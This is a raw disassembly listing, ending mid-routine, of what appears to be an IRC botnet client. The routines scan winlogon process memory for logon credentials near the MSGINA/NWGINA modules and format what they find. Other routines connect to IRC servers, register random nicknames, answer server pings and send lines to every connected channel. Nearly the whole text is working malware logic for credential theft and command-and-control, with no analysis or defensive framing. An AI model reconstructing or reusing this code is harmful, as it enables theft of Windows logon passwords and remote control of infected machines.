push ebx push ebp push esi mov esi, ds:dword_4F6450 mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_4F644C push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4ED148 push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4F6448 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4ED148 test eax, eax jnz short loc_417D82 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417D82 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+String], ecx jb short loc_417D82 loc_417D1E: ; CODE XREF: sub_417C95+EBj cmp word ptr [ebx+8], 5 jnz short loc_417D75 push 0 push 0 call dword_4ED13C mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4ED34C test eax, eax jnz short loc_417D66 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417D9A loc_417D66: ; CODE XREF: sub_417C95+AAj test edi, edi jz short loc_417D71 push edi call dword_4ED144 loc_417D71: ; CODE XREF: sub_417C95+D3j mov eax, [esp+28h+var_10] loc_417D75: ; CODE XREF: sub_417C95+8Ej add ebx, 10h inc [esp+28h+String] cmp [esp+28h+String], eax jbe short loc_417D1E loc_417D82: ; CODE XREF: sub_417C95+6Dj ; sub_417C95+7Aj ... xor edi, edi loc_417D84: ; CODE XREF: sub_417C95+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4F6448 ; RtlFreeHeap mov eax, edi loc_417D92: ; CODE XREF: sub_417C95+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417D9A: ; CODE XREF: sub_417C95+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417E03 lea eax, [edi+80h] mov [esp+28h+String], eax loc_417DB0: ; CODE XREF: sub_417C95+16Cj add [esp+28h+String], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417E17 push offset aMsgina ; "MSGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417DF5 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_417DF5: ; CODE XREF: sub_417C95+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417DB0 loc_417E03: ; CODE XREF: sub_417C95+10Fj test edi, edi jz short loc_417E0E push edi call dword_4ED144 loc_417E0E: ; CODE XREF: sub_417C95+170j mov edi, [esp+28h+var_4] jmp loc_417D84 ; --------------------------------------------------------------------------- loc_417E17: ; CODE XREF: sub_417C95+13Cj xor eax, eax jmp loc_417D92 sub_417C95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E1E proc near ; CODE XREF: sub_417AC3+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_4F638C ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_417E47 xor eax, eax jmp loc_417FC2 ; --------------------------------------------------------------------------- loc_417E47: ; CODE XREF: sub_417E1E+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_4F645C ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_4F6450 push 8 call esi ; GetProcessHeap mov edi, ds:dword_4F644C push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_4F6458 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417E97 xor esi, esi jmp loc_417FB5 ; --------------------------------------------------------------------------- loc_417E97: ; CODE XREF: sub_417E1E+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_4F6454 ; VirtualQueryEx test eax, eax jz loc_417FA4 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_417FA4 test [ebp+var_2B], 1 jnz loc_417FA4 push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_417FA4 loc_417EFA: ; CODE XREF: sub_417E1E+112j push edi ; Str2 push offset word_4EC13C ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_417F22 lea eax, [edi+200h] push eax ; Str2 push offset word_4EC93C ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_417F32 loc_417F22: ; CODE XREF: sub_417E1E+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_417FA4 jmp short loc_417EFA ; --------------------------------------------------------------------------- loc_417F32: ; CODE XREF: sub_417E1E+102j test edi, edi jz short loc_417FA4 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_4F641C ; FileTimeToLocalFileTime test eax, eax jz short loc_417F6D lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_4F6418 ; FileTimeToSystemTime test eax, eax jz short loc_417F6D mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417F6D: ; CODE XREF: sub_417E1E+12Bj ; sub_417E1E+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4ED360, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4ED358, eax mov Src, edi loc_417FA4: ; CODE XREF: sub_417E1E+90j ; sub_417E1E+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_4F6448 ; RtlFreeHeap mov esi, [ebp+var_10] loc_417FB5: ; CODE XREF: sub_417E1E+74j push [ebp+var_4] call ds:dword_4F6370 ; CloseHandle pop edi mov eax, esi pop ebx loc_417FC2: ; CODE XREF: sub_417E1E+24j pop esi leave retn sub_417E1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FC5 proc near ; CODE XREF: sub_417AC3:loc_417BBBp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_4F638C ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_4180B7 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_4F645C ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4180AE mov edi, ds:dword_4F6450 loc_418010: ; CODE XREF: sub_417FC5+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_4F6454 ; VirtualQueryEx test eax, eax jz short loc_41809C mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4180A2 test [ebp+var_13], 1 jnz short loc_4180A2 push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_4F644C ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_4F6458 ; ReadProcessMemory test eax, eax jz short loc_41808E push offset word_4EC13C ; Str2 push esi ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_41808E lea eax, [esi+400h] push offset word_4EC93C ; Str2 push eax ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_4180BE loc_41808E: ; CODE XREF: sub_417FC5+9Fj ; sub_417FC5+B0j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_4F6448 ; RtlFreeHeap jmp short loc_4180A2 ; --------------------------------------------------------------------------- loc_41809C: ; CODE XREF: sub_417FC5+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4180A2: ; CODE XREF: sub_417FC5+71j ; sub_417FC5+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_418010 loc_4180AE: ; CODE XREF: sub_417FC5+3Fj push [ebp+arg_0] call ds:dword_4F6370 ; CloseHandle loc_4180B7: ; CODE XREF: sub_417FC5+1Ej xor eax, eax loc_4180B9: ; CODE XREF: sub_417FC5+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4180BE: ; CODE XREF: sub_417FC5+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4ED358, ebx mov Src, eax cmp [eax], cl jnz short loc_4180E0 cmp [eax+1], cl jz short loc_4180E8 loc_4180E0: ; CODE XREF: sub_417FC5+114j ; sub_417FC5+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4180E0 loc_4180E8: ; CODE XREF: sub_417FC5+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:dword_4F6370 ; CloseHandle push 1 pop eax jmp short loc_4180B9 sub_417FC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180FB proc near ; CODE XREF: sub_417AC3+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4ED354 push esi mov esi, ds:dword_4F6450 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_4F644C ; RtlAllocateHeap mov ecx, dword_4ED354 mov [ebp+var_4], eax add ecx, ecx push ecx ; Size push Src ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4ED360 push eax call dword_4ED140 push [ebp+var_4] mov edi, offset byte_4ED14C push offset word_4EC13C push offset word_4EC93C push [ebp+arg_0] push offset asc_44FE68 ; "-" push 200h ; Count push edi ; Dest call __snprintf add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_4F6448 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_4180FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418192 proc near ; CODE XREF: sub_417AC3:loc_417BFFp var_18 = word ptr -18h var_16 = word ptr -16h Dst = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4ED354 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_4F6450 ; GetProcessHeap push eax call ds:dword_4F644C ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+Dst], eax mov ebx, offset word_4EC93C mov edi, 200h mov esi, offset byte_4EBF3C loc_4181D8: ; CODE XREF: sub_418192+FAj mov eax, dword_4ED354 add eax, eax push eax ; Size push Src ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4ED140 mov eax, dword_4ED354 and [ebp+var_10], 0 mov ecx, [ebp+Dst] mov [ebp+var_8], 1 test eax, eax jbe short loc_41824D loc_418215: ; CODE XREF: sub_418192+B3j cmp [ebp+var_8], 0 jz short loc_41826A mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_418239 cmp byte ptr [ecx+1], 0 jnz short loc_418239 cmp dl, 20h jnb short loc_418233 and [ebp+var_8], 0 loc_418233: ; CODE XREF: sub_418192+9Bj cmp [ebp+var_1], 7Eh jbe short loc_41823D loc_418239: ; CODE XREF: sub_418192+90j ; sub_418192+96j and [ebp+var_8], 0 loc_41823D: ; CODE XREF: sub_418192+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_418215 cmp [ebp+var_8], 0 jz short loc_41826A loc_41824D: ; CODE XREF: sub_418192+81j push [ebp+Dst] push offset word_4EC13C push ebx push [ebp+arg_0] push offset asc_44FEB8 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 1Ch jmp short loc_418282 ; --------------------------------------------------------------------------- loc_41826A: ; CODE XREF: sub_418192+87j ; sub_418192+B9j push offset word_4EC13C push ebx push [ebp+arg_0] push offset asc_44FF08 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 18h loc_418282: ; CODE XREF: sub_418192+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4181D8 push [ebp+Dst] push 0 call ds:dword_4F6450 ; GetProcessHeap push eax call ds:dword_4F6448 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_418192 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182AB proc near ; CODE XREF: sub_418465+2Fp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4E42A0 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_418327 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4E4220 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4E4260 ; inet_addr cmp eax, esi jnz short loc_41830C push [ebp+arg_0] call dword_4E42A4 ; gethostbyname test eax, eax jz short loc_418327 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_41830C: ; CODE XREF: sub_4182AB+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4E41C8 ; connect cmp eax, esi jnz short loc_41832B push edi call dword_4E42B8 ; closesocket loc_418327: ; CODE XREF: sub_4182AB+1Bj ; sub_4182AB+58j mov eax, esi jmp short loc_41832D ; --------------------------------------------------------------------------- loc_41832B: ; CODE XREF: sub_4182AB+73j mov eax, edi loc_41832D: ; CODE XREF: sub_4182AB+7Ej pop edi pop esi leave retn sub_4182AB endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_418331(char *Dest) sub_418331 proc near ; CODE XREF: sub_401CC7+32A7p ; sub_401CC7+3311p ... Dest = dword ptr 4 push esi push edi mov edi, [esp+8+Dest] push offset asc_450BD8 ; "\n" push edi ; Dest call _strcat pop ecx mov esi, offset dword_4ED36C pop ecx loc_418349: ; CODE XREF: sub_418331+42j cmp dword ptr [esi-4], 1 jnz short loc_418367 cmp dword ptr [esi], 0 jbe short loc_418367 push 0 push edi ; Str call _strlen pop ecx push eax push edi push dword ptr [esi] call dword_4E4270 ; send loc_418367: ; CODE XREF: sub_418331+1Cj ; sub_418331+21j add esi, 210h cmp esi, offset dword_4F3A8C jl short loc_418349 pop edi pop esi retn sub_418331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418378(char *Str,int) sub_418378 proc near ; CODE XREF: sub_418465+155p Dst = byte ptr -420h Dest = byte ptr -220h Str2 = dword ptr -20h var_1C = dword ptr -1Ch Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi push offset asc_450BDC ; " " push [ebp+Str] ; Str call _strtok pop ecx mov [ebp+Str2], eax pop ecx lea esi, [ebp+var_1C] push 7 xor ebx, ebx pop edi loc_41839E: ; CODE XREF: sub_418378+39j push offset asc_450BE0 ; " " push ebx ; Str call _strtok mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_41839E cmp [ebp+Str2], ebx mov esi, [ebp+var_1C] jnz short loc_4183C7 cmp esi, ebx jnz short loc_4183C7 push 1 pop eax jmp loc_418460 ; --------------------------------------------------------------------------- loc_4183C7: ; CODE XREF: sub_418378+41j ; sub_418378+45j push [ebp+Str2] ; Str2 push offset aPing_1 ; "PING" call _strcmp pop ecx pop ecx test eax, eax push esi ; Str2 jnz short loc_4183E2 push offset aPongS_0 ; "PONG %s\n" jmp short loc_418430 ; --------------------------------------------------------------------------- loc_4183E2: ; CODE XREF: sub_418378+61j push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jz short loc_418403 push esi ; Str2 push offset a432 ; "432" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41845E loc_418403: ; CODE XREF: sub_418378+78j push 200h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_418688 add esp, 10h lea eax, [ebp+Dst] push eax push offset aNickS_9 ; "NICK %s\n" loc_418430: ; CODE XREF: sub_418378+68j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_4] call dword_4E4270 ; send loc_41845E: ; CODE XREF: sub_418378+89j xor eax, eax loc_418460: ; CODE XREF: sub_418378+4Aj pop edi pop esi pop ebx leave retn sub_418378 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418465 proc near ; DATA XREF: sub_41860A+61o Dest = byte ptr -4008h var_3008 = byte ptr -3008h Dst = byte ptr -2008h Str = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call __alloca_probe push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4ED374[esi] mov dword_4ED368[esi], edi push dword_4ED574[esi] push eax call sub_4182AB pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4ED36C[esi], eax jb loc_4185EA mov edi, 1000h lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_418688 lea eax, [ebp+Dest] push eax ; Dest call sub_418688 lea eax, [ebp+var_3008] push eax ; Dest call sub_418688 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push dword_4ED36C[esi] call dword_4E4270 ; send push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch loc_418541: ; CODE XREF: sub_418465+111j ; sub_418465+180j push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Str] push ebx push edi push eax push dword_4ED36C[esi] call dword_4E4238 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_4185EA xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_418541 loc_418578: ; CODE XREF: sub_418465+17Ej mov al, [ebp+eax+Str] cmp al, 0Dh jz short loc_41859F cmp al, 0Ah jz short loc_41859F cmp [ebp+arg_0], 0FA0h jz short loc_41859F mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+Dst], al jmp short loc_4185D9 ; --------------------------------------------------------------------------- loc_41859F: ; CODE XREF: sub_418465+11Cj ; sub_418465+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4185D9 push dword_4ED36C[esi] ; int mov [ebp+eax+Dst], bl lea eax, [ebp+Dst] push eax ; Str call sub_418378 pop ecx test eax, eax pop ecx ja short loc_4185EA push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+arg_0], ebx loc_4185D9: ; CODE XREF: sub_418465+138j ; sub_418465+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_418578 jmp loc_418541 ; --------------------------------------------------------------------------- loc_4185EA: ; CODE XREF: sub_418465+40j ; sub_418465+107j ... mov dword_4ED368[esi], ebx mov esi, dword_4ED36C[esi] cmp esi, ebx jbe short loc_418601 push esi call dword_4E42B8 ; closesocket loc_418601: ; CODE XREF: sub_418465+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_418465 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41860A(char *Source,int,int) sub_41860A proc near ; CODE XREF: sub_401CC7+31F6p var_8 = byte ptr -8 var_4 = dword ptr -4 Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_418683 loc_41861C: ; CODE XREF: sub_41860A+77j xor edi, edi mov eax, offset dword_4ED368 loc_418623: ; CODE XREF: sub_41860A+28j cmp [eax], ebx jz short loc_418634 add eax, 210h inc edi cmp eax, offset dword_4F3A88 jl short loc_418623 loc_418634: ; CODE XREF: sub_41860A+1Bj cmp edi, 31h jz short loc_418683 mov esi, edi push [ebp+Source] ; Source imul esi, 210h lea eax, dword_4ED374[esi] push eax ; Dest call _strcpy mov eax, [ebp+arg_4] pop ecx mov dword_4ED574[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4ED368[esi], 1 push eax push ebx push edi push offset sub_418465 push ebx push ebx call ds:dword_4F6384 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_41861C loc_418683: ; CODE XREF: sub_41860A+10j ; sub_41860A+2Dj pop edi pop esi pop ebx leave retn sub_41860A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418688(char *Dest) sub_418688 proc near ; CODE XREF: sub_401CC7+3758p ; sub_401CC7+37A2p ... Source = byte ptr -40h var_2D = byte ptr -2Dh Dst = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h Count = dword ptr -0Ch var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch call _rand mov [ebp+Count], eax fild [ebp+Count] fmul ds:dbl_43D4D0 call __ftol cmp eax, 1 jnz short loc_4186D2 call _rand call _rand push 66h cdq pop ecx idiv ecx push off_45025C[edx*4] jmp short loc_4186EB ; --------------------------------------------------------------------------- loc_4186D2: ; CODE XREF: sub_418688+2Fj call _rand call _rand cdq mov ecx, 0C0h idiv ecx push off_44FF5C[edx*4] ; Source loc_4186EB: ; CODE XREF: sub_418688+48j lea eax, [ebp+Dst] push eax ; Dest call _strcpy pop ecx lea eax, [ebp+Dst] pop ecx push ebx push esi push edi push eax ; Str call _strlen pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+Count], eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4C8 call __ftol mov ebx, eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_43D4C0 call __ftol cmp esi, 2 mov edi, offset a__3 ; "-|`_\\{[]}" jle short loc_41875E cmp esi, 3 jnz short loc_418755 cmp ebx, 1 jz short loc_41875E loc_418755: ; CODE XREF: sub_418688+C6j cmp eax, 1 jnz loc_418818 loc_41875E: ; CODE XREF: sub_418688+C1j ; sub_418688+CBj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4B8 call __ftol push off_45025C[eax*4] ; Source lea eax, [ebp+Source] push eax ; Dest call _strcpy movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; Val push edi ; Str call _strchr add esp, 10h test eax, eax jnz short loc_418805 movsx eax, [ebp+Source] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_418805 call _rand mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43D4C0 call __ftol cmp eax, 1 jnz short loc_418805 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul ds:dbl_43D4C0 call __ftol mov al, byte ptr a__3[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418805: ; CODE XREF: sub_418688+111j ; sub_418688+122j ... push [ebp+Count] ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dst] push eax ; Dest call _strncat add esp, 0Ch loc_418818: ; CODE XREF: sub_418688+D0j lea eax, [ebp+Dst] push eax ; Str call _strlen mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; C mov [ebp+var_4], esi call _isdigit pop ecx test eax, eax pop ecx jnz loc_418A80 and [ebp+Count], eax movsx eax, byte ptr [ebx-1] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz loc_418977 call _rand mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43D4C0 call __ftol cmp esi, 3 jz short loc_418886 cmp eax, 1 jnz loc_418977 loc_418886: ; CODE XREF: sub_418688+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4188C8 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_43D4C0 call __ftol mov al, byte ptr a__3[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4188E4 ; --------------------------------------------------------------------------- loc_4188C8: ; CODE XREF: sub_418688+207j call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4B0 call __ftol mov cl, 41h sub cl, al mov [ebx], cl loc_4188E4: ; CODE XREF: sub_418688+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+Count], ebx call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4A8 call __ftol cmp esi, 3 jz short loc_41890D cmp eax, ebx jnz short loc_418977 loc_41890D: ; CODE XREF: sub_418688+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_418952 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_43D4C0 call __ftol mov al, byte ptr a__3[eax] ; "-|`_\\{[]}" mov [ebp+esi+Dst], al jmp short loc_418970 ; --------------------------------------------------------------------------- loc_418952: ; CODE XREF: sub_418688+28Fj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4B0 call __ftol mov cl, 41h sub cl, al mov [ebp+esi+Dst], cl loc_418970: ; CODE XREF: sub_418688+2C8j inc esi mov [ebp+Count], ebx mov [ebp+var_4], esi loc_418977: ; CODE XREF: sub_418688+1C9j ; sub_418688+1F8j ... cmp esi, 6 jge loc_418A00 cmp esi, 5 jge short loc_418998 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4C8 jmp short loc_4189B6 ; --------------------------------------------------------------------------- loc_418998: ; CODE XREF: sub_418688+2FBj call _rand push 8 mov dword ptr [ebp+var_18+4], eax fild dword 